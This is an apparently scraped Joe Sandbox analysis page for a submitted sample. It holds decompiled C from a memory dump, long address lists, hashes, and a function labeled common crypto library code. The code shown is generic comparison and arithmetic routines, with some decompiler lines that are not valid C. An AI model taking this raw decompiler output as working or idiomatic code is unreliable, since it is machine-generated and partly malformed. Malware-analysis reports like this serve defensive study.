									 *_t475 = _t519;
								}
							} else {
								_t475[1] = _t519;
								 *_t475 = _v16;
							}
							_pop(_t481);
							_pop(_t520);
							_pop(_t362);
							_t277 = E0114942B(_t362, _v8 ^ _t526, _t442, _t481, _t520);
							_push(_t526);
							return _t277;
						}
					} else {
						__eflags =  *(_t526 + _t435 * 4 - 0x10) &  !(_t477 << _t370);
						while(__eflags == 0) {
							_t435 = _t435 + 1;
							__eflags = _t435 - _t512;
							if(_t435 < _t512) {
								__eflags =  *(_t526 + _t435 * 4 - 0x10) - _t360;
								continue;
							}
							L28:
							_t435 = _v64;
							goto L29;
						}
						asm("cdq");
						_t421 = 0x1f;
						_t472 = (_t435 & _t421) + _v56 >> 5;
						_t347 = _v56 & 0x8000001f;
						__eflags = _t347;
						if(_t347 < 0) {
							_t347 = (_t347 - 0x00000001 | 0xffffffe0) + 1;
							__eflags = _t347;
						}
						_v48 = _t360;
						_v60 = 1 << _t421 - _t347;
						_t351 =  *((intOrPtr*)(_t526 + _t472 * 4 - 0x10));
						_t424 = _v60 + _t351;
						_v44 = _t424;
						__eflags = _t424 - _t351;
						_t352 = _v44;
						_t425 = _t360;
						_t477 = 0xffffffff;
						if(_t424 < _t351) {
							L19:
							_t425 = 1;
							__eflags = 1;
							_v48 = 1;
							goto L20;
						} else {
							__eflags = _t352 - _v60;
							if(_t352 >= _v60) {
								L20:
								 *((intOrPtr*)(_t526 + _t472 * 4 - 0x10)) = _t352;
								_t473 = _t472 - 1;
								__eflags = _t473;
								if(_t473 < 0) {
									L27:
									_t370 = _v52;
									goto L28;
								} else {
									goto L21;
								}
								while(1) {
									L21:
									__eflags = _t425;
									if(_t425 == 0) {
										break;
									}
									_t353 =  *((intOrPtr*)(_t526 + _t473 * 4 - 0x10));
									_t425 = _t360;
									_v48 = _t360;
									_t477 = _t353 + 1;
									__eflags = _t477 - _t353;
									_v44 = _t477;
									_t354 = _t477;
									if(_t477 < _t353) {
										L24:
										_t425 = 1;
										__eflags = 1;
										_v48 = 1;
										L25:
										 *((intOrPtr*)(_t526 + _t473 * 4 - 0x10)) = _t354;
										_t473 = _t473 - 1;
										__eflags = _t473;
										if(_t473 >= 0) {
											continue;
										}
										break;
									}
									__eflags = _t354 - 1;
									if(_t354 >= 1) {
										goto L25;
									}
									goto L24;
								}
								_t477 = _t477 | 0xffffffff;
								__eflags = _t477;
								goto L27;
							}
							goto L19;
						}
					}
				}
				_t516 = 0;
				_push(0);
				_pop(_t357);
				while( *((intOrPtr*)(_t526 + _t357 * 4 - 0x10)) == _t360) {
					_t357 = _t357 + 1;
					if(_t357 < 3) {
						continue;
					}
					goto L101;
				}
				asm("stosd");
				asm("stosd");
				asm("stosd");
				goto L6;
			}

0x011572d1
0x011572d8
0x011572db
0x011572e1
0x011572e5
0x011572e7
0x011572f1
0x011572f4
0x01157300
0x01157306
0x0115730c
0x01157315
0x01157318
0x01157321
0x01157348
0x01157350
0x01157353
0x01157356
0x01157357
0x01157358
0x0115735d
0x01157360
0x01157361
0x01157361
0x01157366
0x01157367
0x01157368
0x0115736d
0x01157370
0x01157373
0x01157373
0x01157379
0x0115737f
0x0115737f
0x0115737f
0x01157380
0x01157385
0x01157389
0x0115738a
0x0115738d
0x01157391
0x01157392
0x01157396
0x01157440
0x01157444
0x01157448
0x01157448
0x0115744b
0x0115744d
0x01157453
0x01157454
0x01157457
0x0115745b
0x0115745b
0x0115745d
0x0115745d
0x0115745d
0x01157460
0x01157463
0x01157466
0x01157468
0x01157468
0x01157468
0x01157469
0x01157470
0x01157477
0x01157479
0x0115748a
0x0115748c
0x011576ab
0x011576b1
0x01157759
0x0115775f
0x01157768
0x0115776f
0x01157770
0x01157774
0x0115777c
0x0115777f
0x0115777f
0x01157785
0x0115778b
0x0115778b
0x0115778b
0x0115778e
0x01157791
0x01157796
0x01157797
0x01157798
0x01157798
0x0115779a
0x0115779d
0x0115779f
0x011577a2
0x011577a2
0x011577b6
0x011577ba
0x011577bb
0x011577be
0x011577be
0x011577c3
0x011577c9
0x011577cd
0x011577d3
0x011577d5
0x011577d5
0x011577d7
0x011577d8
0x011577d8
0x011577da
0x011577e4
0x011577dc
0x011577de
0x011577de
0x011577e8
0x011577eb
0x011577eb
0x011577eb
0x00000000
0x011577d8
0x011576b7
0x011576bd
0x011576c2
0x011576c3
0x011576c4
0x011576c7
0x011576ce
0x011576d7
0x011576da
0x011576da
0x011576e0
0x011576e6
0x011576e6
0x011576e6
0x011576ea
0x011576f1
0x011576f2
0x011576f2
0x011576f4
0x011576f7
0x011576f9
0x011576fc
0x011576fc
0x01157701
0x01157706
0x0115770e
0x01157711
0x01157715
0x01157716
0x01157719
0x01157719
0x0115771d
0x01157724
0x0115772a
0x0115772c
0x0115772e
0x0115772f
0x0115772f
0x01157731
0x0115773b
0x01157733
0x01157735
0x01157735
0x0115773f
0x01157742
0x01157742
0x01157742
0x01157745
0x0115774d
0x01157753
0x00000000
0x01157753
0x01157492
0x01157498
0x0115749b
0x011574a0
0x011574a1
0x011574aa
0x011574ab
0x011574b1
0x011574b2
0x011574b2
0x011574b7
0x011574bd
0x011574bd
0x011574bd
0x011574be
0x011574c5
0x011574c6
0x011574c9
0x011574cd
0x011574d4
0x011574d7
0x011574d8
0x011574d8
0x011574dc
0x011574df
0x011574e0
0x011574e0
0x011574e5
0x011574e7
0x011574f5
0x011574f9
0x011574fa
0x011574fd
0x011574fd
0x0115750e
0x01157510
0x01157510
0x01157513
0x01157516
0x01157517
0x01157517
0x01157519
0x01157526
0x0115751b
0x0115751d
0x01157521
0x01157521
0x0115752a
0x0115752d
0x0115752d
0x0115752d
0x01157533
0x01157535
0x01157536
0x0115753c
0x0115753f
0x01157542
0x01157542
0x01157548
0x0115754e
0x0115754e
0x0115754e
0x01157551
0x01157554
0x01157559
0x0115755d
0x0115755f
0x01157563
0x011575fb
0x011575fc
0x011575ff
0x01157603
0x01157604
0x01157606
0x0115760d
0x01157610
0x01157614
0x01157616
0x01157616
0x01157616
0x01157619
0x0115761f
0x01157622
0x0115762b
0x0115762e
0x0115762e
0x01157634
0x0115763a
0x0115763a
0x0115763a
0x0115763b
0x0115763e
0x0115763f
0x01157644
0x01157647
0x01157649
0x0115764c
0x0115764d
0x0115764d
0x0115764f
0x01157652
0x01157655
0x01157655
0x0115765a
0x0115765c
0x01157667
0x01157670
0x01157676
0x01157677
0x0115767a
0x0115767a
0x0115767e
0x01157685
0x0115768b
0x0115768d
0x0115768d
0x0115768f
0x01157690
0x01157690
0x01157692
0x0115769c
0x01157694
0x01157696
0x01157696
0x011576a0
0x011576a3
0x011576a3
0x011576a3
0x00000000
0x01157569
0x0115756f
0x01157579
0x0115757b
0x0115757c
0x0115757e
0x01157575
0x00000000
0x01157575
0x011575f8
0x011575f8
0x00000000
0x011575f8
0x01157582
0x01157589
0x0115758a
0x0115758f
0x01157592
0x01157592
0x01157598
0x0115759e
0x0115759e
0x0115759e
0x0115759f
0x011575aa
0x011575ab
0x011575ac
0x011575b1
0x011575b4
0x011575b6
0x011575bb
0x011575bc
0x011575c3
0x011575c5
0x011575c5
0x00000000
0x011575be
0x011575be
0x011575c1
0x011575c6
0x011575c6
0x011575ca
0x011575ca
0x011575cb
0x011575f5
0x011575f5
0x00000000
0x00000000
0x00000000
0x00000000
0x011575cd
0x011575cd
0x011575cd
0x011575cf
0x00000000
0x00000000
0x011575d1
0x011575d5
0x011575d6
0x011575d7
0x011575da
0x011575dc
0x011575df
0x011575e1
0x011575e8
0x011575ea
0x011575ea
0x011575eb
0x011575eb
0x011575ef
0x011575ef
0x011575f0
0x00000000
0x00000000
0x00000000
0x011575f0
0x011575e3
0x011575e6
0x00000000
0x00000000
0x00000000
0x011575e6
0x011575f2
0x011575f2
0x00000000
0x011575f2
0x00000000
0x011575c1
0x011575bc
0x0115747b
0x01157480
0x01157481
0x01157482
0x01157483
0x01157483
0x01157340
0x01157342
0x011577ee
0x011577ee
0x011577f1
0x011577f3
0x01157803
0x0115780c
0x01157811
0x01157817
0x01157823
0x01157826
0x01157828
0x01157828
0x01157819
0x0115781c
0x0115781f
0x0115781f
0x0115782f
0x01157830
0x01157833
0x01157834
0x01157839
0x0115783c
0x0115783c
0x0115739c
0x011573a2
0x011573ac
0x011573ae
0x011573af
0x011573b1
0x011573a8
0x00000000
0x011573a8
0x0115743d
0x0115743d
0x00000000
0x0115743d
0x011573bb
0x011573be
0x011573c6
0x011573c9
0x011573c9
0x011573ce
0x011573d4
0x011573d4
0x011573d4
0x011573d7
0x011573df
0x011573e2
0x011573e9
0x011573eb
0x011573ee
0x011573f0
0x011573f3
0x011573f7
0x011573f8
0x011573ff
0x01157401
0x01157401
0x01157402
0x00000000
0x011573fa
0x011573fa
0x011573fd
0x01157405
0x01157405
0x01157409
0x01157409
0x0115740a
0x0115743a
0x0115743a
0x00000000
0x00000000
0x00000000
0x00000000
0x0115740c
0x0115740c
0x0115740c
0x0115740e
0x00000000
0x00000000
0x01157410
0x01157415
0x01157416
0x01157419
0x0115741c
0x0115741e
0x01157422
0x01157423
0x0115742a
0x0115742c
0x0115742c
0x0115742d
0x01157430
0x01157430
0x01157434
0x01157434
0x01157435
0x00000000
0x00000000
0x00000000
0x01157435
0x01157425
0x01157428
0x00000000
0x00000000
0x00000000
0x01157428
0x01157437
0x01157437
0x00000000
0x01157437
0x00000000
0x011573fd
0x011573f8
0x01157396
0x01157323
0x01157325
0x01157326
0x01157327
0x0115732d
0x01157331
0x00000000
0x00000000
0x00000000
0x01157333
0x0115733d
0x0115733e
0x0115733f
0x00000000

Memory Dump Source

Source File: 00000000.00000002.202496356.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000000.00000002.202490176.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202515991.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202524272.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.202531573.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1140000_PHvqpLRfRl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae17b4bfec97e528b9a92253fb0a5af0297119d355c50497baae6f720e4ea341
Instruction ID: 6b7d081c07d16f68c4372ac835801f8c0513ca605ae2537b6d41d2f2758e7e34
Opcode Fuzzy Hash: ae17b4bfec97e528b9a92253fb0a5af0297119d355c50497baae6f720e4ea341
Instruction Fuzzy Hash: F412C472A1111ADFDB48CFA8E8815EDBBB2FB88324F64466DE931E72C4D77069418B50

Uniqueness

Uniqueness Score: -1.00%

Function 01152EE1, Relevance: .5, Instructions: 484
COMMONLIBRARYCODECrypto

Download Yara Rule

C-Code - Quality: 100%

			E01152EE1() {
				void* _t976;
				void* _t977;
				signed int _t978;
				void* _t979;
				signed int _t982;
				void* _t985;
				void* _t989;
				signed char _t1057;
				signed char _t1058;
				signed char _t1059;
				signed char _t1060;
				signed char _t1062;
				signed char _t1063;
				signed char _t1064;
				signed int _t1114;
				signed int _t1116;
				signed int _t1117;
				signed int _t1119;
				signed int _t1123;
				signed char* _t1125;
				signed int _t1126;
				signed int _t1196;
				signed int _t1197;
				signed int _t1198;
				void* _t1199;
				signed char* _t1268;
				signed char* _t1269;
				signed char* _t1270;
				signed char* _t1271;
				void* _t1330;
				void* _t1342;
				void* _t1344;
				void* _t1346;
				void* _t1348;
				void* _t1352;
				void* _t1356;
				void* _t1358;
				void* _t1362;
				void* _t1368;
				void* _t1376;
				signed char* _t1392;
				signed char* _t1393;
				signed int _t1399;
				signed char* _t1402;
				signed char* _t1403;
				void* _t1404;
				void* _t1405;
				void* _t1416;
				void* _t1418;
				signed int _t1420;
				void* _t1423;
				void* _t1425;
				void* _t1427;
				signed int _t1429;
				signed int _t1441;
				void* _t1447;
				signed int _t1452;
				void* _t1455;
				signed int _t1463;
				void* _t1466;
				void* _t1471;
				void* _t1477;
				void* _t1482;
				signed int _t1484;
				void* _t1487;
				void* _t1489;
				signed int _t1494;

				_t1404 = _t1405;
				_t1114 =  *(_t1404 + 0x10);
				_t976 = _t1114;
				_t977 = _t976;
				if(_t977 == 0) {
					_t978 = 0;
					__eflags = 0;
					L435:
					return _t978;
				}
				_t979 = _t977 - 1;
				if(_t979 == 0) {
					_t1116 =  *( *(_t1404 + 8)) & 0x000000ff;
					_t982 =  *( *(_t1404 + 0xc)) & 0x000000ff;
					L422:
					_t1117 = _t1116 - _t982;
					__eflags = _t1117;
					if(_t1117 != 0) {
						__eflags = _t1117;
						_t949 = _t1117 > 0;
						__eflags = _t949;
						_t1117 = (0 | _t949) * 2 - 1;
					}
					_t978 = _t1117;
					goto L435;
				}
				_t985 = _t979 - 1;
				if(_t985 == 0) {
					_t1268 =  *(_t1404 + 8);
					_t1392 =  *(_t1404 + 0xc);
					_t1119 = ( *_t1268 & 0x000000ff) - ( *_t1392 & 0x000000ff);
					__eflags = _t1119;
					if(_t1119 == 0) {
						L432:
						_t1116 = _t1268[1] & 0x000000ff;
						_t973 =  &(_t1392[1]); // 0x180115ad
						_t982 =  *_t973 & 0x000000ff;
						goto L422;
					}
					__eflags = _t1119;
					_t978 = (0 | _t1119 > 0x00000000) * 2 - 1;
					__eflags = _t978;
					if(_t978 != 0) {
						goto L435;
					}
					goto L432;
				}
				_t989 = _t985 - 1;
				if(_t989 == 0) {
					_t1269 =  *(_t1404 + 8);
					_t1393 =  *(_t1404 + 0xc);
					__eflags = ( *_t1269 & 0x000000ff) - ( *_t1393 & 0x000000ff);
					if(__eflags == 0) {
						L427:
						_t959 =  &(_t1393[1]); // 0x180115ad
						_t1123 = (_t1269[1] & 0x000000ff) - ( *_t959 & 0x000000ff);
						__eflags = _t1123;
						if(_t1123 == 0) {
							L429:
							_t1116 = _t1269[2] & 0x000000ff;
							_t965 =  &(_t1393[2]); // 0xa1180115
							_t982 =  *_t965 & 0x000000ff;
							goto L422;
						}
						__eflags = _t1123;
						_t978 = (0 | _t1123 > 0x00000000) * 2 - 1;
						__eflags = _t978;
						if(_t978 != 0) {
							goto L435;
						}
						goto L429;
					}
					_t978 = (0 | __eflags > 0x00000000) * 2 - 1;
					__eflags = _t978;
					if(_t978 != 0) {
						goto L435;
					}
					goto L427;
				}
				_t1270 =  *(_t1404 + 0xc);
				if(_t989 == 1) {
					_t1125 =  *(_t1404 + 8);
					__eflags = ( *_t1125 & 0x000000ff) - ( *_t1270 & 0x000000ff);
					if(__eflags == 0) {
						L417:
						_t935 =  &(_t1270[1]); // 0x180115ad
						__eflags = (_t1125[1] & 0x000000ff) - ( *_t935 & 0x000000ff);
						if(__eflags == 0) {
							L419:
							_t941 =  &(_t1270[2]); // 0xa1180115
							_t1399 = (_t1125[2] & 0x000000ff) - ( *_t941 & 0x000000ff);
							__eflags = _t1399;
							if(_t1399 == 0) {
								L421:
								_t1116 = _t1125[3] & 0x000000ff;
								_t947 =  &(_t1270[3]); // 0x14a11801
								_t982 =  *_t947 & 0x000000ff;
								goto L422;
							}
							__eflags = _t1399;
							_t978 = (0 | _t1399 > 0x00000000) * 2 - 1;
							__eflags = _t978;
							if(_t978 != 0) {
								goto L435;
							}
							goto L421;
						}
						_t978 = (0 | __eflags > 0x00000000) * 2 - 1;
						__eflags = _t978;
						if(_t978 != 0) {
							goto L435;
						}
						goto L419;
					}
					_t978 = (0 | __eflags > 0x00000000) * 2 - 1;
					__eflags = _t978;
					if(_t978 != 0) {
						goto L435;
					}
					goto L417;
				}
				_t1402 =  *(_t1404 + 8);
				if(_t1114 < 0x20) {
					L95:
					_t1403 =  &(_t1402[_t1114]);
					_t1271 =  &(_t1270[_t1114]);
					if(_t1114 > 0x1f) {
						L174:
						_t1126 = 0;
						L175:
						_t978 = _t1126;
						goto L435;
					}
					switch( *((intOrPtr*)(_t1114 * 4 +  &M011545D9))) {
						case 0:
							goto L174;
						case 1:
							L253:
							__ecx =  *(__esi - 1) & 0x000000ff;
							__ecx = ( *(__esi - 1) & 0x000000ff) - ( *(__edx - 1) & 0x000000ff);
							__eflags = __ecx;
							if(__eflags != 0) {
								__ecx = (0 | __eflags > 0x00000000) * 2 - 1;
							}
							goto L175;
						case 2:
							L332:
							__eflags =  *(__esi - 2) -  *(__edx - 2);
							if( *(__esi - 2) ==  *(__edx - 2)) {
								goto L174;
							}
							goto L413;
						case 3:
							L411:
							__edi =  *(__esi - 3) & 0x000000ff;
							__edi = ( *(__esi - 3) & 0x000000ff) - ( *(__edx - 3) & 0x000000ff);
							__eflags = __edi;
							if(__eflags == 0) {
								L413:
								__edi =  *(__esi - 2) & 0x000000ff;
								__edi = ( *(__esi - 2) & 0x000000ff) - ( *(__edx - 2) & 0x000000ff);
								__eflags = __edi;
								if(__eflags == 0) {
									goto L253;
								}
								__ecx = 0;
								__edi = __edi;
								__ecx = 0 | __eflags > 0x00000000;
								__ecx = (__eflags > 0) * 2 - 1;
								goto L252;
							}
							__ecx = 0;
							__edi = __edi;
							__ecx = 0 | __eflags > 0x00000000;
							__ecx = (__eflags > 0) * 2 - 1;
							__eflags = __ecx;
							if(__ecx != 0) {
								goto L175;
							}
							goto L413;
						case 4:
							L163:
							_t1014 =  *(_t1403 - 4);
							if(_t1014 ==  *(_t1271 - 4)) {
								_t1126 = 0;
								__eflags = 0;
								L173:
								if(_t1126 != 0) {
									goto L175;
								}
								goto L174;
							}
							_t1275 = (_t1014 & 0x000000ff) - ( *(_t1271 - 4) & 0x000000ff);
							if(_t1275 == 0) {
								L166:
								_t1565 = ( *(_t1403 - 3) & 0x000000ff) - ( *(_t1271 - 3) & 0x000000ff);
								if(_t1565 == 0) {
									L168:
									_t1279 = ( *(_t1403 - 2) & 0x000000ff) - ( *(_t1271 - 2) & 0x000000ff);
									if(_t1279 == 0) {
										L170:
										_t1126 = ( *(_t1403 - 1) & 0x000000ff) - ( *(_t1271 - 1) & 0x000000ff);
										_t1570 = _t1126;
										if(_t1570 != 0) {
											_t1126 = (0 | _t1570 > 0x00000000) * 2 - 1;
										}
										goto L173;
									}
									_t1126 = (0 | _t1279 > 0x00000000) * 2 - 1;
									if(_t1126 != 0) {
										goto L175;
									}
									goto L170;
								}
								_t1126 = (0 | _t1565 > 0x00000000) * 2 - 1;
								if(_t1126 != 0) {
									goto L175;
								}
								goto L168;
							}
							_t1126 = (0 | _t1275 > 0x00000000) * 2 - 1;
							if(_t1126 != 0) {
								goto L175;
							}
							goto L166;
						case 5:
							L242:
							__eflags =  *(__esi - 5) -  *(__edx - 5);
							if( *(__esi - 5) ==  *(__edx - 5)) {
								__ecx = 0;
								__eflags = 0;
								L252:
								__ecx = __ecx;
								__eflags = __ecx;
								if(__ecx != 0) {
									goto L175;
								}
								goto L253;
							}
							__edi = __al & 0x000000ff;
							__edi = (__al & 0x000000ff) - ( *(__edx - 5) & 0x000000ff);
							__eflags = __edi;
							if(__eflags == 0) {
								L245:
								__edi =  *(__esi - 4) & 0x000000ff;
								__edi = ( *(__esi - 4) & 0x000000ff) - ( *(__edx - 4) & 0x000000ff);
								__eflags = __edi;
								if(__edi == 0) {
									L247:
									__edi =  *(__esi - 3) & 0x000000ff;
									__edi = ( *(__esi - 3) & 0x000000ff) - ( *(__edx - 3) & 0x000000ff);
									__eflags = __edi;
									if(__edi == 0) {
										L249:
										__ecx =  *(__esi - 2) & 0x000000ff;
										__ecx = ( *(__esi - 2) & 0x000000ff) - ( *(__edx - 2) & 0x000000ff);
										__eflags = __ecx;
										if(__eflags != 0) {
											__ecx = __ecx;
											__ecx = (0 | __eflags > 0x00000000) * 2 - 1;
										}
										goto L252;
									}
									__ecx = 0;
									__eflags = __edi;
									__ecx = 0 | __edi > 0x00000000;
									__ecx = (__edi > 0) * 2 - 1;
									__eflags = __ecx;
									if(__ecx != 0) {
										goto L175;
									}
									goto L249;
								}
								__ecx = 0;
								__eflags = __edi;
								__ecx = 0 | __edi > 0x00000000;
								__ecx = (__edi > 0) * 2 - 1;
								__eflags = __ecx;
								if(__ecx != 0) {
									goto L175;
								}
								goto L247;
							}
							__ecx = 0;
							__edi = __edi;
							0 | __eflags > 0x00000000 = (__eflags > 0) * 2 - 1;
							__ecx = (__eflags > 0) * 2 - 1;
							__eflags = __ecx;
							if(__ecx != 0) {
								goto L175;
							}
							goto L245;
						case 6:
							L321:
							__eflags =  *(__esi - 6) -  *(__edx - 6);
							if( *(__esi - 6) ==  *(__edx - 6)) {
								__ecx = 0;
								__eflags = 0;
								L331:
								__eflags = __ecx;
								if(__ecx != 0) {
									goto L175;
								}
								goto L332;
							}
							__edi = __al & 0x000000ff;
							__edi = (__al & 0x000000ff) - ( *(__edx - 6) & 0x000000ff);
							__eflags = __edi;
							if(__eflags == 0) {
								L324:
								__edi =  *(__esi - 5) & 0x000000ff;
								__edi = ( *(__esi - 5) & 0x000000ff) - ( *(__edx - 5) & 0x000000ff);
								__eflags = __edi;
								if(__eflags == 0) {
									L326:
									__edi =  *(__esi - 4) & 0x000000ff;
									__edi = ( *(__esi - 4) & 0x000000ff) - ( *(__edx - 4) & 0x000000ff);
									__eflags = __edi;
									if(__edi == 0) {
										L328:
										__ecx =  *(__esi - 3) & 0x000000ff;
										__ecx = ( *(__esi - 3) & 0x000000ff) - ( *(__edx - 3) & 0x000000ff);
										__eflags = __ecx;
										if(__eflags != 0) {
											__ecx = __ecx;
											__ecx = (0 | __eflags > 0x00000000) * 2 - 1;
										}
										goto L331;
									}
									__ecx = 0;
									__eflags = __edi;
									__ecx = 0 | __edi > 0x00000000;
									__ecx = (__edi > 0) * 2 - 1;
									__eflags = __ecx;
									if(__ecx != 0) {
										goto L175;
									}
									goto L328;
								}
								__ecx = 0;
								__edi = __edi;
								0 | __eflags > 0x00000000 = (__eflags > 0) * 2 - 1;
								__ecx = (__eflags > 0) * 2 - 1;
								__eflags = __ecx;
								if(__ecx != 0) {
									goto L175;
								}
								goto L326;
							}
							__ecx = 0;
							__edi = __edi;
							0 | __eflags > 0x00000000 = (__eflags > 0) * 2 - 1;
							__ecx = (__eflags > 0) * 2 - 1;
							__eflags = __ecx;
							if(__ecx != 0) {
								goto L175;
							}
							goto L324;
						case 7:
							L400:
							__eflags =  *(__esi - 7) -  *(__edx - 7);
							if( *(__esi - 7) ==  *(__edx - 7)) {
								__ecx = 0;
								__eflags = 0;
								L410:
								__ecx = __ecx;
								__eflags = __ecx;
								if(__ecx != 0) {
									goto L175;
								}
								goto L411;
							}
							__edi = __al & 0x000000ff;
							__edi = (__al & 0x000000ff) - ( *(__edx - 7) & 0x000000ff);
							__eflags = __edi;
							if(__edi == 0) {
								L403:
								__edi =  *(__esi - 6) & 0x000000ff;
								__edi = ( *(__esi - 6) & 0x000000ff) - ( *(__edx - 6) & 0x000000ff);
								__eflags = __edi;
								if(__edi == 0) {
									L405:
									__edi =  *(__esi - 5) & 0x000000ff;
									__edi = ( *(__esi - 5) & 0x000000ff) - ( *(__edx - 5) & 0x000000ff);
									__eflags = __edi;
									if(__edi == 0) {
										L407:
										__ecx =  *(__esi - 4) & 0x000000ff;
										__ecx = ( *(__esi - 4) & 0x000000ff) - ( *(__edx - 4) & 0x000000ff);
										__eflags = __ecx;
										if(__eflags != 0) {
											__ecx = __ecx;
											__ecx = (0 | __eflags > 0x00000000) * 2 - 1;
										}
										goto L410;
									}
									__ecx = 0;
									__eflags = __edi;
									0 | __edi > 0x00000000 = (__edi > 0) * 2 - 1;
									__ecx = (__edi > 0) * 2 - 1;
									__eflags = __ecx;
									if(__ecx != 0) {
										goto L175;
									}
									goto L407;
								}
								__ecx = 0;
								__eflags = __edi;
								__ecx = 0 | __edi > 0x00000000;
								__ecx = (__edi > 0) * 2 - 1;
								__eflags = __ecx;
								if(__ecx != 0) {
									goto L175;
								}
								goto L405;
							}
							__ecx = 0;
							__eflags = __edi;
							0 | __edi > 0x00000000 = (__edi > 0) * 2 - 1;
							__ecx = (__edi > 0) * 2 - 1;
							__eflags = __ecx;
							if(__ecx != 0) {
								goto L175;
							}
							goto L403;
						case 8:
							L152:
							_t1013 =  *(_t1403 - 8);
							if(_t1013 ==  *(_t1271 - 8)) {
								_t1129 = 0;
								__eflags = 0;
								L162:
								_t1126 = _t1129;
								if(_t1126 != 0) {
									goto L175;
								}
								goto L163;
							}
							_t1552 = (_t1013 & 0x000000ff) - ( *(_t1271 - 8) & 0x000000ff);
							if(_t1552 == 0) {
								L155:
								_t1284 = ( *(_t1403 - 7) & 0x000000ff) - ( *(_t1271 - 7) & 0x000000ff);
								if(_t1284 == 0) {
									L157:
									_t1557 = ( *(_t1403 - 6) & 0x000000ff) - ( *(_t1271 - 6) & 0x000000ff);
									if(_t1557 == 0) {
										L159:
										_t1129 = ( *(_t1403 - 5) & 0x000000ff) - ( *(_t1271 - 5) & 0x000000ff);
										_t1559 = _t1129;
										if(_t1559 != 0) {
											_t1129 = (0 | _t1559 > 0x00000000) * 2 - 1;
										}
										goto L162;
									}
									_t1126 = (0 | _t1557 > 0x00000000) * 2 - 1;
									if(_t1126 != 0) {
										goto L175;
									}
									goto L159;
								}
								_t1126 = (0 | _t1284 > 0x00000000) * 2 - 1;
								if(_t1126 != 0) {
									goto L175;
								}
								goto L157;
							}
							_t1126 = (0 | _t1552 > 0x00000000) * 2 - 1;
							if(_t1126 != 0) {
								goto L175;
							}
							goto L155;
						case 9:
							L231:
							__eflags =  *(__esi - 9) -  *(__edx - 9);
							if( *(__esi - 9) ==  *(__edx - 9)) {
								__ecx = 0;
								__eflags = 0;
								L241:
								__eflags = __ecx;
								if(__ecx != 0) {
									goto L175;
								}
								goto L242;
							}
							__edi =  *(__esi - 9) & 0x000000ff;
							__edi = ( *(__esi - 9) & 0x000000ff) - ( *(__edx - 9) & 0x000000ff);
							__eflags = __edi;
							if(__edi == 0) {
								L234:
								__edi =  *(__esi - 8) & 0x000000ff;
								__edi = ( *(__esi - 8) & 0x000000ff) - ( *(__edx - 8) & 0x000000ff);
								__eflags = __edi;
								if(__edi == 0) {
									L236:
									__edi =  *(__esi - 7) & 0x000000ff;
									__edi = ( *(__esi - 7) & 0x000000ff) - ( *(__edx - 7) & 0x000000ff);
									__eflags = __edi;
									if(__eflags == 0) {
										L238:
										__ecx =  *(__esi - 6) & 0x000000ff;
										__ecx = ( *(__esi - 6) & 0x000000ff) - ( *(__edx - 6) & 0x000000ff);
										__eflags = __ecx;
										if(__eflags != 0) {
											__ecx = __ecx;
											__ecx = (0 | __eflags > 0x00000000) * 2 - 1;
										}
										goto L241;
									}
									__ecx = 0;
									__edi = __edi;
									0 | __eflags > 0x00000000 = (__eflags > 0) * 2 - 1;
									__ecx = (__eflags > 0) * 2 - 1;
									__eflags = __ecx;
									if(__ecx != 0) {
										goto L175;
									}
									goto L238;
								}
								__ecx = 0;
								__eflags = __edi;
								__ecx = 0 | __edi > 0x00000000;
								__ecx = (__edi > 0) * 2 - 1;
								__eflags = __ecx;
								if(__ecx != 0) {
									goto L175;
								}
								goto L236;
							}
							__ecx = 0;
							__eflags = __edi;
							0 | __edi > 0x00000000 = (__edi > 0) * 2 - 1;
							__ecx = (__edi > 0) * 2 - 1;
							__eflags = __ecx;
							if(__ecx != 0) {
								goto L175;
							}
							goto L234;
						case 0xa:
							L310:
							__eflags =  *(__esi - 0xa) -  *(__edx - 0xa);
							if( *(__esi - 0xa) ==  *(__edx - 0xa)) {
								__ecx = 0;
								__eflags = 0;
								L320:
								__ecx = __ecx;
								__eflags = __ecx;
								if(__ecx != 0) {
									goto L175;
								}
								goto L321;
							}
							__edi =  *(__esi - 0xa) & 0x000000ff;
							__edi = ( *(__esi - 0xa) & 0x000000ff) - ( *(__edx - 0xa) & 0x000000ff);
							__eflags = __edi;
							if(__eflags == 0) {
								L313:
								__edi =  *(__esi - 9) & 0x000000ff;
								__edi = ( *(__esi - 9) & 0x000000ff) - ( *(__edx - 9) & 0x000000ff);
								__eflags = __edi;
								if(__eflags == 0) {
									L315:
									__edi =  *(__esi - 8) & 0x000000ff;
									__edi = ( *(__esi - 8) & 0x000000ff) - ( *(__edx - 8) & 0x000000ff);
									__eflags = __edi;
									if(__eflags == 0) {
										L317:
										__ecx =  *(__esi - 7) & 0x000000ff;
										__ecx = ( *(__esi - 7) & 0x000000ff) - ( *(__edx - 7) & 0x000000ff);
										__eflags = __ecx;
										if(__ecx != 0) {
											__eflags = __ecx;
											__ecx = (0 | __ecx > 0x00000000) * 2 - 1;
										}
										goto L320;
									}
									__ecx = 0;
									__edi = __edi;
									__ecx = 0 | __eflags > 0x00000000;
									__ecx = (__eflags > 0) * 2 - 1;
									__eflags = __ecx;
									if(__ecx != 0) {
										goto L175;
									}
									goto L317;
								}
								__ecx = 0;
								__edi = __edi;
								__ecx = 0 | __eflags > 0x00000000;
								__ecx = (__eflags > 0) * 2 - 1;
								__eflags = __ecx;
								if(__ecx != 0) {
									goto L175;
								}
								goto L315;
							}
							__ecx = 0;
							__edi = __edi;
							__ecx = 0 | __eflags > 0x00000000;
							__ecx = (__eflags > 0) * 2 - 1;
							__eflags = __ecx;
							if(__ecx != 0) {
								goto L175;
							}
							goto L313;
						case 0xb:
							L389:
							__eflags =  *(__esi - 0xb) -  *(__edx - 0xb);
							if( *(__esi - 0xb) ==  *(__edx - 0xb)) {
								__ecx = 0;
								__eflags = 0;
								L399:
								__ecx = __ecx;
								__eflags = __ecx;
								if(__ecx != 0) {
									goto L175;
								}
								goto L400;
							}
							__edi = __al & 0x000000ff;
							__edi = (__al & 0x000000ff) - ( *(__edx - 0xb) & 0x000000ff);
							__eflags = __edi;
							if(__eflags == 0) {
								L392:
								__edi =  *(__esi - 0xa) & 0x000000ff;
								__edi = ( *(__esi - 0xa) & 0x000000ff) - ( *(__edx - 0xa) & 0x000000ff);
								__eflags = __edi;
